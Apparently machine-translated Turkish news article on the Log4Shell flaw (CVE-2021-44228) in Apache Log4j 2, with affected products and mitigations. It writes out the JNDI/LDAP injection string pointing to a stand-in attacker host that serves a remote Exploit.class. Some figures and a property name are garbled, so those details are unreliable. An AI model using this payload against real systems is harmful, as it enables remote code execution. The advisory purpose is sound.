Log4Shell, Apache Log4j 2'de birçok Java projesini etkileyen kritik bir güvenlik açığı

Son zamanlarda se, Apache Log4j 2'de kritik bir güvenlik açığı tespit edildiği haberini yayınladıJava uygulamalarında kayıt defterini düzenlemek için popüler bir çerçeve olarak nitelendirilen ve kayıt defterine "{jndi: URL}" biçiminde özel olarak biçimlendirilmiş bir değer yazıldığında rastgele kodun yürütülmesine izin veren .

Güvenlik Açığı Saldırının Java uygulamalarında gerçekleştirilebilmesi dikkat çekicidir.Harici kaynaklardan elde edilen değerleri örneğin hata mesajlarında sorunlu değerleri görüntüleyerek kaydederler.

Gözlenmektedir ki Apache Struts, Apache Solr, Apache Druid veya Apache Flink gibi çerçeveleri kullanan hemen hemen tüm projeler etkilenir, Steam, Apple iCloud, Minecraft istemcileri ve sunucuları dahil.

Güvenlik açığının, Fortune 65 web uygulamalarının %100'inde kullanılan kaba bir tahmin olan Apache Struts çerçevesindeki kritik güvenlik açıklarının geçmişini tekrarlayarak kurumsal uygulamalara yönelik büyük bir saldırı dalgasına yol açması bekleniyor. güvenlik açığı bulunan sistemler için ağı taramak için önceden kaydedilmiş girişimleri içeriyordu.

Güvenlik açığı, kimliği doğrulanmamış kodun uzaktan yürütülmesine izin verir. Log4j 2, Apache Foundation tarafından geliştirilen açık kaynaklı bir Java günlük kitaplığıdır. Log4j 2 birçok uygulamada yaygın olarak kullanılmaktadır ve birçok hizmette bir bağımlılık olarak mevcuttur. Bunlar, iş uygulamalarının yanı sıra çok sayıda bulut hizmetini içerir.

Randori saldırı ekibi, işlevsel bir güvenlik açığı geliştirdi ve saldırgan güvenlik platformumuzun bir parçası olarak müşteri ortamlarında bu güvenlik açığından başarıyla yararlanmayı başardı. 

Güvenlik açığına, uygulamaya özel çok sayıda yöntemle erişilebilir. Aslında, Log4j kitaplığını kullanan bir uygulamanın günlük dosyalarına yazdığı rastgele verileri sağlamak için bir uzak bağlantıya izin veren herhangi bir senaryo, istismara açıktır. Bu güvenlik açığından yararlanma olasılığı yüksektir ve binlerce kuruluşu etkilemesi muhtemeldir. Bu güvenlik açığı, etkilenen sistemler için önemli bir gerçek riski temsil eder.

Sorun, işlevsel bir istismarın zaten yayınlanmış olması gerçeğiyle daha da artar, örn.Ancak kararlı dallar için düzeltmeler henüz oluşturulmadı. CVE tanımlayıcısı henüz atanmamıştır. Çözüm yalnızca log4j-2.15.0-rc1 test dalında bulunur. Güvenlik açığını engellemeye yönelik bir geçici çözüm olarak, Log4j2.formatMsgNoLookps parametresinin true olarak ayarlanması önerilir.

sorun bunun nedeni Log4j 2'nin günlük satırlarında «{}» özel maskelerinin işlenmesini desteklemesiydi.içinde JNDI sorguları çalıştırılabilir (Java Adlandırma ve Dizin Arayüzü).

Randori, CVE-2021-44228'i analiz ederken aşağıdakileri belirledi:

Yaygın olarak kullanılan iş yazılımlarının varsayılan yüklemeleri savunmasızdır.
Güvenlik açığından güvenilir bir şekilde ve kimlik doğrulaması olmadan yararlanılabilir.
Güvenlik açığı, Log4j 2'nin birden çok sürümünü etkiler.
Güvenlik açığı, kullanıcı uygulamayı kitaplığı kullanarak çalıştırdığında uzaktan kod yürütülmesine izin verir.

Saldırı, "$ {jndi: ldap: //example.com/a}" yerine geçen bir dize iletilerek, Log4j 2'nin Java sınıfının yolu için attacker.com sunucusuna bir LDAP isteği göndereceğini işliyor. . Saldırganın sunucusu tarafından döndürülen yol (örneğin, http://example.com/Exploit.class), mevcut işlem bağlamında yüklenecek ve yürütülecek ve saldırganın sistemde rasgele kod yürütmesine izin vererek haklara sahip olacaktır. mevcut uygulamanın.

Son olarak bahsediliyor anormallikler bulunursa, bunun aktif bir olay olduğunu, güvenliğinin ihlal edildiğini varsaymanız ve buna göre yanıt vermeniz önerilir. Log4j 2'nin yamalı sürümlerine veya etkilenen uygulamalara yükseltme, bu güvenlik açığını ortadan kaldıracaktır. Randori, etkilenebileceğine inanan herhangi bir kuruluşun acilen yamalı bir sürüme yükseltmesini önerir.

Apache Log4j ekibinin en son güncellemesinde, kuruluşların aşağıdakileri yapmasını tavsiye edin

  • Log4j 2.15.0 Güncellemesi
  • 2.15.0'a yükseltemeyenler için: > = 2.10 sürümlerinde, log4j2.formatMsgNoLookup sistem özelliği veya LOG4J_FORMAT_MSG_NO_LOOKUPS ortam değişkeni true olarak ayarlanarak bu güvenlik açığı azaltılabilir.
  • 2,0-beta9 ila 2.10.0 arasındaki sürümler için azaltma, JndiLookup sınıfını sınıf yolundan kaldırmaktır: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

kaynak: https://www.lunasec.io/


Makalenin içeriği şu ilkelerimize uygundur editoryal etik. Bir hata bildirmek için tıklayın burada.

İlk yorumu siz

Yorumunuzu bırakın

E-posta hesabınız yayınlanmayacak.

*

*

  1. Verilerden sorumlu: Miguel Ángel Gatón
  2. Verilerin amacı: Kontrol SPAM, yorum yönetimi.
  3. Meşruiyet: Onayınız
  4. Verilerin iletilmesi: Veriler, yasal zorunluluk dışında üçüncü kişilere iletilmeyecektir.
  5. Veri depolama: Occentus Networks (AB) tarafından barındırılan veritabanı
  6. Haklar: Bilgilerinizi istediğiniz zaman sınırlayabilir, kurtarabilir ve silebilirsiniz.